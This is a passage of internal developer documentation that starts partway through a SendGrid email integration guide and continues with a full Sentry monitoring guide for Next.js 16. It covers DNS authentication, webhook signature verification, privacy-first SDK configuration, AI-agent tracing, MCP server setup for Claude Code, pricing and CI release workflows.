  F --> D
  E -->|"yes"| G["Link branding (url####, ####.domain)"]
  G --> H["Add _dmarc TXT yourself"]
  H --> I["Send from the authenticated domain"]
  1. Settings → Sender Authentication → Authenticate Your Domain. Use a sending subdomain (for example mail.client.example). Keep automated security on: SendGrid then gives you CNAMEs and rotates DKIM keys and manages SPF behind them. API: POST /v3/whitelabel/domains.
  2. Add the three CNAMEs exactly as listed: em#### (return path, which carries SPF), s1._domainkey, and s2._domainkey. Don't hand-write an SPF include on the apex. The "Send to Coworker" button was removed on 3 Aug 2026, so send the records to the DNS owner yourself.
  3. Link branding (POST /v3/whitelabel/links) rewrites tracked links and the List-Unsubscribe URL onto your domain instead of sendgrid.net. Do it whenever click tracking or subscription tracking is on. If you put the branded link host behind a CDN for SSL click tracking, the CDN must allow POST from non-browser user agents, or one-click unsubscribes never reach SendGrid.
  4. DMARC is yours to publish. SendGrid doesn't create it.
# Porkbun / Cloudflare records (host part only; Cloudflare: DNS-only, grey cloud)
CNAME  em1234          u1234567.wl123.sendgrid.net
CNAME  s1._domainkey   s1.domainkey.u1234567.wl123.sendgrid.net
CNAME  s2._domainkey   s2.domainkey.u1234567.wl123.sendgrid.net
CNAME  url5678         sendgrid.net                  # link branding (values come from the dashboard)
CNAME  1234567         sendgrid.net
TXT    _dmarc          v=DMARC1; p=none; rua=mailto:dmarc@client.example; fo=1

Start DMARC at p=none, read the aggregate reports, then move to p=quarantine and p=reject. Give SendGrid its own subdomain: Porkbun won't let a CNAME share a host with other records, and a separate subdomain keeps SendGrid's reputation apart from Resend's or the client's mailbox provider.

Bulk-sender rules (Gmail, Yahoo, Microsoft)

These rules are the same whichever provider sends the mail; see ../domain-portfolio/ for the full table and ../resend/ for the Resend side. They apply once a domain sends about 5,000 messages a day to a provider's consumer inboxes (Gmail counts all subdomains together, and bulk status never expires):

How SendGrid meets the unsubscribe rule: turn on subscription tracking (Settings → Tracking) or send with an ASM unsubscribe group (asm.groupId). Either way, SendGrid inserts both List-Unsubscribe (an HTTPS URL on your link-branding domain plus a mailto:) and List-Unsubscribe-Post, and processes the unsubscribe for you. Marketing Campaigns always adds them unless you use a custom unsubscribe link. If neither is on, you must add both headers yourself in headers and handle the POST. Transactional mail (receipts, resets) doesn't need one-click unsubscribe.


Event Webhook (signed)

SendGrid POSTs batched JSON arrays of events: delivery (processed, delivered, deferred, dropped, bounce), engagement (open, click, spamreport, unsubscribe, group_unsubscribe, group_resubscribe), and account status changes.

// app/api/webhooks/sendgrid/route.ts
import { EventWebhook, EventWebhookHeader } from '@sendgrid/eventwebhook';

export const runtime = 'nodejs';
export const dynamic = 'force-dynamic';

export async function POST(req: Request): Promise<Response> {
  const rawBody = await req.text(); // exact bytes: never req.json() first, never .trim()
  const signature = req.headers.get(EventWebhookHeader.SIGNATURE()); // X-Twilio-Email-Event-Webhook-Signature
  const timestamp = req.headers.get(EventWebhookHeader.TIMESTAMP()); // X-Twilio-Email-Event-Webhook-Timestamp
  const publicKey = process.env.SENDGRID_WEBHOOK_PUBLIC_KEY;
  if (!publicKey || !signature || !timestamp) return new Response(null, { status: 400 });

  const ew = new EventWebhook();
  const valid = ew.verifySignature(ew.convertPublicKeyToECDSA(publicKey), rawBody, signature, timestamp);
  if (!valid) return new Response(null, { status: 403 });

  const events = JSON.parse(rawBody) as { sg_event_id: string; event: string; email: string }[];
  for (const e of events) {
    // dedupe on e.sg_event_id, then update status / mirror suppressions
  }
  return new Response(null, { status: 204 });
}

The full handler with typed events, hard/soft bounce handling, and machine-open filtering is examples/event-webhook-route.ts. It uses the dependency-free node:crypto verifier in examples/verify-signature.ts, which also adds a replay window and caches the key.

Gotcha: raw bytes. The signature covers the exact payload, including its trailing \r\n characters. req.text() keeps them; req.json(), Express bodyParser.json(), or .trim() break a valid signature. On Express, mount express.raw({ type: 'application/json' }) on this route only.


Inbound Parse (now signable)

Inbound Parse turns mail sent to a subdomain into a multipart/form-data POST to your app: reply-to-ticket, document intake, +tag routing.

  1. DNS: MX parse 10 mx.sendgrid.net on the receiving subdomain.
  2. Create a webhook security policy with signing on: POST /v3/user/webhooks/security/policies with { "name": "...", "signature": { "enabled": true } }. The response holds policy.signature.public_key. OAuth (client_id, client_secret, token_url, scopes) is also supported, alone or together.
  3. Create the Parse setting (Settings → Inbound Parse, or the API) and attach the policy: PATCH /v3/user/webhooks/parse/settings/{hostname} with { "security_policy": "<policy id>" }.
  4. Verify with the same headers as the Event Webhook, over the raw multipart bytes, before any form parser touches the body.

Gotcha: binary attachments. @sendgrid/eventwebhook's verifySignature() turns a Buffer into a UTF-8 string before hashing. A multipart body with binary attachments then fails verification. Our local test with a generated P-256 key confirmed it: valid on JSON, invalid on a body with non-UTF-8 bytes. Use the node:crypto verifier in examples/verify-signature.ts, which hashes the bytes directly. Full route: examples/inbound-parse-route.ts.

Treat every inbound field as untrusted: sanitize html with DOMPurify before rendering, check the SPF and dkim fields if sender identity matters, and size-limit attachments. On an unsigned (legacy) Parse setting, at least use a hard-to-guess path; SendGrid recommends signing over IP allowlists because its webhook IPs change.


Suppressions and Unsubscribe Groups

SendGrid won't deliver to an address on a suppression list (bounces, blocks, spam reports, invalid emails, global unsubscribes, group unsubscribes). Mirror these locally from the Event Webhook so your app never queues a dead address, and use @sendgrid/client to read or clear entries.

import client from '@sendgrid/client';

client.setApiKey(process.env.SENDGRID_API_KEY ?? '');

// Clear a bounce after the user fixes a typo
await client.request({ method: 'DELETE', url: `/v3/suppression/bounces/${encodeURIComponent('user@example.com')}` });

// Add an address to an unsubscribe group from your own preference centre
await client.request({ method: 'POST', url: '/v3/asm/groups/12345/suppressions', body: { recipient_emails: ['user@example.com'] } });

More (global unsubscribe check, subuser-scoped calls): examples/suppressions.ts. Create one unsubscribe group per mail type (product news, digest, offers) so recipients can opt out of one without losing receipts. Never remove an unsubscribe or spam report on your own: it's a CAN-SPAM obligation and a reputation risk.


Subusers, IP Pools, and Data Residency

Feature What it gives you API Plan
Subusers Separate reputation, stats, suppressions, and credit limits per tenant or brand. Parent keys act as a subuser with the on-behalf-of: <username> header (client.setImpersonateSubuser() in the SDK) POST /v3/subusers Pro+
Domain auth per subuser Assign an authenticated domain (up to 5) or a branded link to a subuser POST /v3/whitelabel/domains/{id}/subuser:add, POST /v3/whitelabel/links/{id}/subuser Pro+
Dedicated IPs Your own sending reputation; automated warmup IP Address Management API Pro includes 1; more as add-ons
IP pools Group IPs (for example transactional vs marketing) and pick one per send with ipPoolName POST /v3/send_ips/pools (newer) or POST /v3/ips/pools (legacy) Pro+
EU data residency Mail and event data processed and stored in the EU; host https://api.eu.sendgrid.com client.setDataResidency('eu') Pro+, EU subuser and EU IP

Warm a new dedicated IP gradually. A fresh IP at full volume gets throttled. Under roughly 100k emails a month, shared IPs usually deliver better than a cold dedicated one.


SendGrid vs Resend (primary)

Concern Resend (primary) SendGrid (alternative)
When to pick Default. Start here A client requires it, or you need subusers, IP pools, or EU residency
Free tier 3,000 emails/mo, permanent None. 60-day trial at 100/day, then Essentials from $19.95/mo
Templates React Email (.tsx) in your repo Handlebars dynamic templates in the dashboard (d-…)
SDK resend (works on Edge) @sendgrid/mail + @sendgrid/client (Node only; axios)
Webhook signing Svix (HMAC) ECDSA P-256 via @sendgrid/eventwebhook or node:crypto; OAuth 2.0 optional
Inbound email.received webhook Inbound Parse (multipart), signable
One-click unsubscribe Add the headers yourself / Broadcasts add them Subscription tracking or ASM group adds them
Multi-tenant One account; domains per project Subusers with isolated reputation
Dedicated IPs Scale add-on Pro includes 1, plus IP pools

Environment Variables

Secrets (store in the vault, .env.local, and Vercel; never in the client bundle):

SENDGRID_API_KEY=SG.xxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Non-secret settings (plain config):

Variable Example Notes
SENDGRID_FROM_EMAIL no-reply@mail.client.example Must be on an authenticated domain
SENDGRID_WEBHOOK_PUBLIC_KEY MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE… Public key for one Event Webhook. Not secret, but keep it in config, not code
SENDGRID_INBOUND_PUBLIC_KEY MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE… From the Inbound Parse security policy
SENDGRID_WELCOME_TEMPLATE_ID d-… Dynamic template ids
SENDGRID_DIGEST_TEMPLATE_ID d-…
SENDGRID_UNSUBSCRIBE_GROUP_ID 12345 ASM group for marketing sends

If you enable Event Webhook OAuth, the client secret you give SendGrid is a secret and belongs in the vault too. Add the variables to ENV_MASTER.md and each project's .env.example.


Common Use Cases

Use case Approach
Default transactional email Resend + React Email. SendGrid only when the client requires it
Templated transactional send sgMail.send with templateId + dynamicTemplateData, tracking off
Newsletter / marketing personalizations + asm.groupId (one-click unsubscribe headers added for you)
Delivery and bounce tracking Signed Event Webhook → verify → dedupe sg_event_id → update DB
Honor opt-outs Mirror suppressions locally; check before every send
Reply or intake by email Inbound Parse + security policy + raw-bytes verification
Multi-tenant client One subuser per tenant, each with its own authenticated domain
Separate transactional and marketing reputation Two IP pools (or two subusers) + ipPoolName
EU customer data EU subuser + client.setDataResidency('eu')
CI check of payloads mailSettings.sandboxMode.enable = true

codeAmani notes


Troubleshooting

Issue Fix
401 Unauthorized Key missing, mistyped, or revoked. Recreate it
403 "from address does not match a verified Sender Identity" Authenticate the domain (or verify a Single Sender for testing)
Sending stopped on an old free account The free plan was retired in 2025. Upgrade to Essentials or higher
Mail lands in spam or shows "via sendgrid.net" Finish domain authentication and link branding, publish DMARC, check alignment
550 5.7.515 from Outlook.com SPF, DKIM, or DMARC missing or not aligned for a bulk sender
Gmail shows no unsubscribe button Turn on subscription tracking or use an ASM group; check the CDN allows non-browser POSTs to the branded link host
Event Webhook stopped delivering The URL is still HTTP (blocked since 11 Feb 2026), or your endpoint has been non-2xx for 24 hours
Signature always invalid Body was parsed or trimmed before verifying; wrong key for that webhook id (each webhook has its own)
Inbound Parse signature fails only with attachments You used @sendgrid/eventwebhook on a binary body. Switch to the node:crypto verifier
Duplicate event processing Dedupe on sg_event_id
Open rates look inflated Exclude sg_machine_open: true
Template renders blank variables dynamicTemplateData keys must match the Handlebars {{vars}}
Recipients see each other Use personalizations or isMultiple, not a bare to: []
Mail to one address never arrives It's suppressed. Check /v3/suppression/* and /v3/asm/suppressions/global/{email}
429 on Email Activity API Limited to 6 requests/minute since Dec 2025. Use the Event Webhook
Inbound Parse never fires MX for the parse subdomain missing (mx.sendgrid.net, priority 10)

Official docs:

Sentry Integration Guide

Technology: sentry · Category: monitoring · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/sentry

Insight:

Sentry is codeAmani's monitoring standard — errors, traces, logs, replays, crons, and AI-agent spans in one place. On SDK v11 the single most important line is an explicit dataCollection: sendDefaultPii is gone, and an unset dataCollection now ships IPs, cookies, headers, request bodies, prompts and stack locals. Every Sentry.init imports the shared privacy baseline.

███████╗███████╗███╗   ██╗████████╗██████╗ ██╗   ██╗
██╔════╝██╔════╝████╗  ██║╚══██╔══╝██╔══██╗╚██╗ ██╔╝
███████╗█████╗  ██╔██╗ ██║   ██║   ██████╔╝ ╚████╔╝
╚════██║██╔══╝  ██║╚██╗██║   ██║   ██╔══██╗  ╚██╔╝
███████║███████╗██║ ╚████║   ██║   ██║  ██║   ██║
╚══════╝╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝   ╚═╝

Sentry Integration Guide

Focus: @sentry/nextjs 11.x on Next.js 16 (App Router), privacy-first dataCollection, source maps, logs, tracing + AI agent monitoring, Session Replay, cron monitors, and Claude Code triage through the official Sentry MCP server and Seer.

Overview

Sentry is codeAmani's monitoring standard: one SDK captures errors, spans, structured logs, metrics, session replays, cron check-ins, and AI (gen_ai) spans, all linked by trace. The hosted MCP server at https://mcp.sentry.dev/mcp lets Claude Code read issues/traces/logs, run Seer root-cause analysis, and (if you grant the skill) triage.

Pinned versions (verified 2026-10-20 via npm view / PyPI):

Package Version Notes
@sentry/nextjs 11.8.0 (latest) v10 line: 10.76.2 (v10 dist-tag). Peer: next ^14 || ^15 || ^16. Node >=20.19.0. TypeScript >=5.0.4.
@sentry/cli 3.8.0 3.0 removed releases files … / files … and API-key auth.
@sentry/mcp-server 0.42.0 Only for the stdio / self-hosted MCP transport.
sentry-sdk (Python) 2.72.0 stable 3.0.0a7 is alpha — 3.x also swaps send_default_pii for data_collection.
next 16.4.2 Next 16 renamed middleware.ts → proxy.ts.
flowchart LR
    A["App throws error<br/>e.g. M-Pesa callback"] --> B["Sentry SDK v11<br/>dataCollection baseline"]
    B --> C["Sentry platform<br/>issue + trace + logs"]
    C --> D["Seer<br/>root cause + fix"]
    C --> E["MCP server<br/>inspect / seer / triage"]
    D --> E
    E --> F["Claude Code<br/>triage + propose fix"]

Official Documentation

Resource URL
Next.js SDK https://docs.sentry.io/platforms/javascript/guides/nextjs/
Manual setup (Next 15+/16, Turbopack) https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/
v10 → v11 migration https://docs.sentry.io/platforms/javascript/migration/v10-to-v11/
dataCollection option https://docs.sentry.io/platforms/javascript/guides/nextjs/configuration/options/#dataCollection
Build options (withSentryConfig) https://docs.sentry.io/platforms/javascript/guides/nextjs/configuration/build/
Agent tracing (AI SDK, Anthropic, …) https://docs.sentry.io/platforms/javascript/guides/nextjs/agent-tracing/
Sentry MCP server https://mcp.sentry.dev/
Seer https://docs.sentry.io/product/ai-in-sentry/seer/
Pricing & quotas https://docs.sentry.io/pricing/
sentry-cli https://docs.sentry.io/cli/

SDK v11 — what changed (read before copying any old snippet)

v10 v11 (current) Action
sendDefaultPii: false (restrictive default) Removed. dataCollection — unset = collect everything Import PRIVACY_BASELINE in every Sentry.init (leaving sendDefaultPii is now a type error)
enableLogs: true Removed. Logs send whenever you call Sentry.logger.* or add a log integration Delete the flag; scrub with beforeSendLog
Transactions + beforeSendTransaction / ignoreTransactions Span streaming is default; transactions no longer exist Use beforeSendSpan (StreamedSpanJSON: name, attributes) and ignoreSpans
Scope tags on transactions Tags reach errors only; spans/logs/metrics use attributes Sentry.setAttribute(s) for span-searchable context
import { withSentryConfig } from "@sentry/nextjs" import { withSentryConfig } from "@sentry/nextjs/config" Update next.config.ts
AI SDK / Anthropic needed manual setup vercelAIIntegration, anthropicAIIntegration are default when tracing is on (server only) Set dataCollection.genAI to keep prompts out
captureMessage had no stack Stack traces attached by default (attachStacktrace) Expect new issue groups after upgrade
inboundFiltersIntegration EventFilters (export removed) Rename filters by integration name

traceLifecycle: "static" (or SENTRY_TRACE_LIFECYCLE=static on Node/Vercel Edge) temporarily restores transaction mode; Sentry says it will be removed in a future major.


Next.js 16 setup (@sentry/nextjs 11.x)

npm install @sentry/nextjs@^11.8.0
# or the wizard (creates the same files):  npx @sentry/wizard@latest -i nextjs

Files (project root, or src/):

File Role
sentry.data-collection.ts codeAmani privacy baseline: the dataCollection object every init imports
instrumentation-client.ts Browser init + onRouterTransitionStart + Session Replay
sentry.server.config.ts Node.js runtime init (beforeSend, beforeSendLog, beforeSendSpan)
sentry.edge.config.ts Edge runtime init
instrumentation.ts register() loads server/edge config; onRequestError = Sentry.captureRequestError
app/global-error.tsx Captures React render errors
next.config.ts withSentryConfig from @sentry/nextjs/config: source maps, tunnel, Vercel crons
proxy.ts Next 16 proxy (ex-middleware), must exclude the tunnel route

All of these live in examples/ and type-check against @sentry/nextjs@11.8.0 + next@16.4.2 under tsc --strict.

1. The privacy baseline (required)

// sentry.data-collection.ts
import type * as Sentry from "@sentry/nextjs";

type SentryInitOptions = NonNullable<Parameters<typeof Sentry.init>[0]>;
export type DataCollectionOptions = NonNullable<SentryInitOptions["dataCollection"]>;

export const EXTRA_DENY_TERMS = [
  "forwarded", "-ip", "remote-", "via", "-user", // Sentry's documented extras
  "phone", "msisdn", "email", "card",            // codeAmani payment data
] as const;

const deny = { deny: [...EXTRA_DENY_TERMS] };

export const PRIVACY_BASELINE = {
  userInfo: false,            // no auto IP/email/username (explicit setUser({ id }) still sends)
  cookies: false,
  httpHeaders: { request: deny, response: deny },
  httpBodies: [],             // never ship request/response bodies
  urlQueryParams: deny,
  graphQL: { document: false, variables: false },
  genAI: { inputs: false, outputs: false }, // keep tokens + latency, drop prompt text
  databaseQueryData: false,
  queues: false,
  stackFrameVariables: false, // locals hold phone numbers / PHI
  frameContextLines: 5,
} satisfies DataCollectionOptions;

The v11 defaults this overrides (from the migration guide): userInfo: true, cookies: true, request+response headers, all request/response bodies, genAI inputs+outputs, databaseQueryData: true, stackFrameVariables: true. Sentry's built-in key denylist (auth, token, secret, password, key, jwt, session, …) still applies on top, but it matches key names only: a phone number in a field called msisdn sails through unless you deny it. dataCollection does not govern Session Replay (see below).

2. Server, edge, client

// sentry.server.config.ts
import * as Sentry from "@sentry/nextjs";
import { PRIVACY_BASELINE } from "./sentry.data-collection";

const REDACT = /(254\d{9})|(sntrys_[\w-]+)|(Bearer\s+[\w.-]+)/gi;
const scrub = (value: string): string => value.replace(REDACT, "[redacted]");

Sentry.init({
  dsn: process.env.SENTRY_DSN,
  environment: process.env.VERCEL_ENV ?? process.env.NODE_ENV,
  dataCollection: PRIVACY_BASELINE,
  tracesSampleRate: process.env.NODE_ENV === "production" ? 0.1 : 1.0,
  ignoreSpans: [{ attributes: { "sentry.op": "http.server", "url.path": "/api/health" } }],
  beforeSend(event) {
    if (event.user) delete event.user.email;
    for (const ex of event.exception?.values ?? []) {
      if (ex.value) ex.value = scrub(ex.value);
    }
    if (event.message) event.message = scrub(event.message);
    return event;
  },
  beforeSendLog(log) {
    if (log.level === "debug" || log.level === "trace") return null;
    log.message = scrub(String(log.message));
    return log;
  },
  beforeSendSpan(span) {
    span.name = scrub(span.name);
    return span;
  },
});

sentry.edge.config.ts is the same minus the hooks (see examples/). The client:

// instrumentation-client.ts
import * as Sentry from "@sentry/nextjs";
import { PRIVACY_BASELINE } from "./sentry.data-collection";

Sentry.init({
  dsn: process.env.NEXT_PUBLIC_SENTRY_DSN,
  environment: process.env.NEXT_PUBLIC_VERCEL_ENV ?? process.env.NODE_ENV,
  dataCollection: PRIVACY_BASELINE,
  tracesSampleRate: process.env.NODE_ENV === "production" ? 0.1 : 1.0,
  tracePropagationTargets: ["localhost", /^\/(?!\/)/],
  integrations: [
    Sentry.replayIntegration({
      maskAllText: true,
      maskAllInputs: true,
      blockAllMedia: true,
      block: ["[data-payment-form]"],
    }),
  ],
  replaysSessionSampleRate: 0,   // error-only replays
  replaysOnErrorSampleRate: 1.0,
});

export const onRouterTransitionStart = Sentry.captureRouterTransitionStart;
// instrumentation.ts
import * as Sentry from "@sentry/nextjs";

export async function register(): Promise<void> {
  if (process.env.NEXT_RUNTIME === "nodejs") await import("./sentry.server.config");
  if (process.env.NEXT_RUNTIME === "edge") await import("./sentry.edge.config");
}

export const onRequestError = Sentry.captureRequestError;

3. withSentryConfig + tunnel route

// next.config.ts
import type { NextConfig } from "next";
import { withSentryConfig } from "@sentry/nextjs/config"; // v11 subpath

const nextConfig: NextConfig = {};

export default withSentryConfig(nextConfig, {
  org: process.env.SENTRY_ORG,
  project: process.env.SENTRY_PROJECT,
  authToken: process.env.SENTRY_AUTH_TOKEN, // build env only
  widenClientFileUpload: true,
  sourcemaps: { deleteSourcemapsAfterUpload: true },
  tunnelRoute: "/monitoring",
  _experimental: { vercelCronsMonitoring: true },
  bundleSizeOptimizations: { excludeDebugStatements: true },
  silent: !process.env.CI,
});

Tunnel route: tunnelRoute proxies browser envelopes through your own origin so ad-blockers don't drop them (adds server load; doesn't work with self-hosted Sentry). Use a fixed string, not true (random per deploy). On Turbopack (Next 16 default) Sentry cannot auto-skip the tunnel inside your proxy, so exclude it in proxy.ts:

// proxy.ts (Next 16; was middleware.ts in Next 15)
export const config = {
  matcher: ["/((?!monitoring|_next/static|_next/image|favicon.ico).*)"],
};

Source maps

npx @sentry/cli@3 sourcemaps inject ./dist
npx @sentry/cli@3 sourcemaps upload --release "$VERSION" ./dist

Logs

Logs are on by default in v11, with no flag. Anything you send with Sentry.logger.* (or capture via consoleLoggingIntegration, pinoIntegration, createSentryWinstonTransport, createConsolaReporter) is billed per GB.

import * as Sentry from "@sentry/nextjs";

Sentry.logger.info("Checkout completed", { order_id: orderId, cart_value: 99.99 });
Sentry.logger.info(Sentry.logger.fmt`User ${userId} purchased ${productName}`);
Sentry.setAttributes({ user_tier: "pro" }); // shared by logs, metrics, spans

Prefer one wide event per operation over many thin logs. Never log raw M-Pesa or Stripe payloads; beforeSendLog (see server config) is the scrub/drop hook. If you add consoleLoggingIntegration, every console.* at the chosen levels ships to Sentry.


Tracing (span streaming)

await Sentry.startSpan({ name: "stripe.checkout.create", op: "http.client" }, async () =>
  stripe.checkout.sessions.create(params),
);

Server Actions: wrap with Sentry.withServerActionInstrumentation("name", { headers: await headers() }, fn). Don't pass formData / recordResponse: true unless you have scrubbed them, because they attach user input to the event.

AI / agent monitoring (AI SDK + Anthropic)

As of SDK 11.0.0 the AI integrations are default whenever tracing is enabled, with no wrapper and no experimental_telemetry flag:

Integration Library Versions Instrumented calls
vercelAIIntegration ai >=3.0.0 <=7 generateText, streamText, embed, embedMany, rerank, ToolLoopAgent.generate/stream, experimental_decide (SDK ≥11.7.0 + AI SDK ≥7.0.128); generateObject/streamObject only on AI SDK ≤6
anthropicAIIntegration @anthropic-ai/sdk >=0.19.2 <1.0.0 messages.create, messages.stream, beta.messages.create, legacy completions.create

Also default: OpenAI, Google Gen AI, LangChain, LangGraph, Mistral, Groq, Together AI.

Rules:

See examples/app/api/chat/route.ts.

Session Replay privacy

Replay is not controlled by dataCollection. Defaults mask all text (maskAllText), all inputs (maskAllInputs) and block all media (blockAllMedia). codeAmani rules:

Cron monitors

await Sentry.withMonitor("nightly-payment-reconcile", reconcilePayments, {
  schedule: { type: "crontab", value: "0 3 * * *" },
  checkinMargin: 5,
  maxRuntime: 10,
  timezone: "America/New_York",
});

MCP Server (Claude Code)

# Remote, OAuth (recommended)
claude mcp add --transport http sentry https://mcp.sentry.dev/mcp

# Scoped to one org / project (hides find_organizations / find_projects)
claude mcp add --transport http sentry https://mcp.sentry.dev/mcp/{organizationSlug}/{projectSlug}

Run /mcp to finish OAuth if the browser flow doesn't open. Sentry also publishes a Claude Code plugin with a sentry-mcp subagent: claude plugin marketplace add getsentry/sentry-mcp then claude plugin install sentry-mcp@sentry-mcp.

Token header (changed): to bypass OAuth with a user auth token, send Authorization: Sentry-Bearer <token>. Plain Bearer is reserved for the MCP's own OAuth tokens and will fail.

{
  "mcpServers": {
    "sentry": {
      "type": "http",
      "url": "https://mcp.sentry.dev/mcp?skills=inspect,seer",
      "headers": { "Authorization": "Sentry-Bearer ${SENTRY_ACCESS_TOKEN}" }
    }
  }
}

Skills (permission bundles)

Skill Default Grants
inspect on Read-only: issues, events, traces, logs, replays, releases, monitors, profiles, dashboards, docs
seer on analyze_issue_with_seer (root cause + fix)
triage off update_issue, add_issue_note, link_issue / unlink_issue
project-management off create/update projects, teams, DSNs, uptime/metric monitors, alert rules
docs off Deprecated (docs tools now live in inspect)

Narrow with ?skills=inspect,triage or ?disable-skills=seer on the URL, or MCP_SKILLS / MCP_DISABLE_SKILLS for stdio. codeAmani default: inspect + seer; add triage only for a deliberate triage session.

Most-used tools: get_sentry_resource (paste any Sentry URL), get_issue_details, search_issues, search_errors, search_traces, search_logs, search_events, get_trace_details, get_span_details, get_event_stacktrace, get_issue_breadcrumbs, search_ai_conversations, analyze_issue_with_seer, find_monitors, get_replay_details, whoami. About 75 tools in total; the full catalog is discoverable via search_sentry_tools / execute_sentry_tool.

Stdio / self-hosted: npx @sentry/mcp-server@latest --access-token=<token> [--host=sentry.example.com]. Its AI-powered search tools need an LLM provider (EMBEDDED_AGENT_PROVIDER = anthropic, openai, azure-openai, or openrouter plus that provider's key).

Seer (AI debugging)


Pricing & quotas (2026-10-20, sentry.io/pricing + docs.sentry.io/pricing)

Plan Price Users Errors Spans Replays Logs Metrics Crons / Uptime Retention
Developer Free 1 5k 5M 50 5 GB 5 GB 1 / 1 30 days
Team $26/mo (annual, default prepaid) Unlimited 50k 5M 50 5 GB 5 GB 1 / 1 up to 90 days
Business $80/mo (annual) Unlimited 50k 5M 50 5 GB 5 GB 1 / 1 up to 90 days + sampled

Overage (Team PAYG): errors from $0.0003625/event (>50k–100k), spans $0.000002/span (>5M–100M), replays $0.00375 (>50–5k), logs and metrics $0.50/GB, cron monitor $0.78, uptime monitor $1.00, continuous profiling $0.0315/hour, UI profiling $0.25/hour, attachments $0.3125/GB over 1 GB. Data past reserved volume + PAYG budget is dropped, not billed. Source maps and releases are free.


Python (sentry-sdk)

Stable is 2.72.0: send_default_pii still exists and defaults to off. Do not set it to True. data_collection is available on 2.x as opt-in, but passing it opts you into its permissive defaults for every key you don't set. 3.0 (alpha 3.0.0a7) removes send_default_pii, makes data_collection always-on, streams spans, and stops scrubbing stack locals by default. When you move to 3.x, set the full baseline:

import os

import sentry_sdk

DENY = {"mode": "denylist", "terms": ["forwarded", "-ip", "remote-", "via", "-user", "phone", "msisdn", "email"]}

sentry_sdk.init(
    dsn=os.environ["SENTRY_DSN"],
    traces_sample_rate=0.1,
    data_collection={
        "user_info": False,
        "http_bodies": [],
        "graphql": {"document": False, "variables": False},
        "gen_ai": {"inputs": False, "outputs": False},
        "mcp": {"inputs": False, "outputs": False},
        "database_query_data": False,
        "queues": False,
        "stack_frame_variables": {"mode": "denylist"},
        "http_headers": {"request": DENY},
        "cookies": DENY,
        "url_query_params": DENY,
    },
)

CLI (sentry-cli 3.x)

npm install -g @sentry/cli@^3.8.0      # or: npx @sentry/cli@3 <cmd>
sentry-cli login                        # auth tokens only (API keys removed in 3.0)
sentry-cli info                         # verify auth + org

sentry-cli releases new "$VERSION"
sentry-cli releases set-commits "$VERSION" --auto
sentry-cli sourcemaps inject ./dist
sentry-cli sourcemaps upload --release "$VERSION" ./dist
sentry-cli releases finalize "$VERSION"
sentry-cli deploys new --release "$VERSION" -e production

sentry-cli issues list -p my-project -s unresolved
sentry-cli monitors list

sentry-cli releases deploys … is now the top-level sentry-cli deploys …. For Next.js apps withSentryConfig already creates + finalizes the release and uploads maps, so only use the CLI for other build targets. Sentry also ships a separate natural-language CLI for agents at https://cli.sentry.dev (not covered here).


Environment Variables

Secrets (store in the vault / Vercel env, never in git):

SENTRY_AUTH_TOKEN=sntrys_...

Non-secret settings:

Variable Where Value
NEXT_PUBLIC_SENTRY_DSN client bundle Project DSN (public by design; it can only send events)
SENTRY_DSN server/edge Same DSN
SENTRY_ORG build Org slug, e.g. codeamani-labs
SENTRY_PROJECT build Project slug
SENTRY_TRACE_LIFECYCLE server (optional) static only as a temporary escape hatch from span streaming

Token scopes: project:releases + org:read for source-map upload. For the MCP with Sentry-Bearer, a user token with org:read, project:read, event:read covers inspect; event:write adds triage.


Automation Workflows

Claude Code slash command: debug a Sentry issue

.claude/commands/sentry.md:

Investigate the Sentry issue: $ARGUMENTS

1. `get_sentry_resource` (or `get_issue_details`) on $ARGUMENTS for the stack trace, tags, user count
2. `analyze_issue_with_seer` for Seer's root cause
3. `search_logs` / `get_trace_details` around the event for context
4. Read the relevant source files and propose a fix as a diff
5. State blast radius (users, events, first/last seen); only call `update_issue` if the triage skill is enabled and I confirm

GitHub Actions: release + source maps for a non-Next build

# .github/workflows/sentry-release.yml
name: Sentry Release
on:
  push:
    tags: ['v*']

jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { fetch-depth: 0 }
      - uses: actions/setup-node@v4
        with: { node-version: '22' }
      - run: npm ci && npm run build
      - name: Create Sentry release
        env:
          SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
          SENTRY_ORG: ${{ vars.SENTRY_ORG }}
          SENTRY_PROJECT: ${{ vars.SENTRY_PROJECT }}
        run: |
          npx @sentry/cli@3 releases new ${{ github.ref_name }}
          npx @sentry/cli@3 releases set-commits ${{ github.ref_name }} --auto
          npx @sentry/cli@3 sourcemaps inject ./dist
          npx @sentry/cli@3 sourcemaps upload --release ${{ github.ref_name }} ./dist
          npx @sentry/cli@3 releases finalize ${{ github.ref_name }}
          npx @sentry/cli@3 deploys new --release ${{ github.ref_name }} -e production

Pin third-party Actions to a full commit SHA in real repos (see supply-chain/).


codeAmani notes


Common Use Cases

Use case Approach
Debug a production error MCP get_sentry_resource + analyze_issue_with_seer
Triage new issues MCP search_issues → (triage skill) update_issue
Performance investigation MCP search_traces / get_trace_details / get_span_details
AI cost / failure analysis MCP search_ai_conversations; Sentry → Agents dashboard
Missed scheduled job Cron monitor alert; MCP find_monitors / get_monitor_details
Source maps (Next.js) withSentryConfig + SENTRY_AUTH_TOKEN at build
Source maps (other) sentry-cli sourcemaps inject + sourcemaps upload

Troubleshooting

Issue Fix
'sendDefaultPii' does not exist in type … after upgrading Removed in v11. Delete it and pass PRIVACY_BASELINE as dataCollection
'enableLogs' does not exist Removed in v11. Logs are on when you call Sentry.logger.*
withSentryConfig not exported Import from @sentry/nextjs/config
Tags missing on spans / dashboards broke v11 span streaming: use setAttribute; update op/name/attribute filters
beforeSendTransaction never runs Transactions are gone; use beforeSendSpan / ignoreSpans
No AI spans Tracing off, call runs on Edge, or AI SDK registerTelemetry also on (duplicates)
Browser events missing Ad-blocker: set tunnelRoute and exclude it from the proxy.ts matcher
Minified stack traces SENTRY_AUTH_TOKEN missing in build env; try widenClientFileUpload
sentry-cli releases files unknown command Removed in CLI 3.0. Use sourcemaps upload
MCP 401 with token Use Authorization: Sentry-Bearer <token>, not Bearer
MCP has no update_issue triage skill is off by default. Re-auth granting it
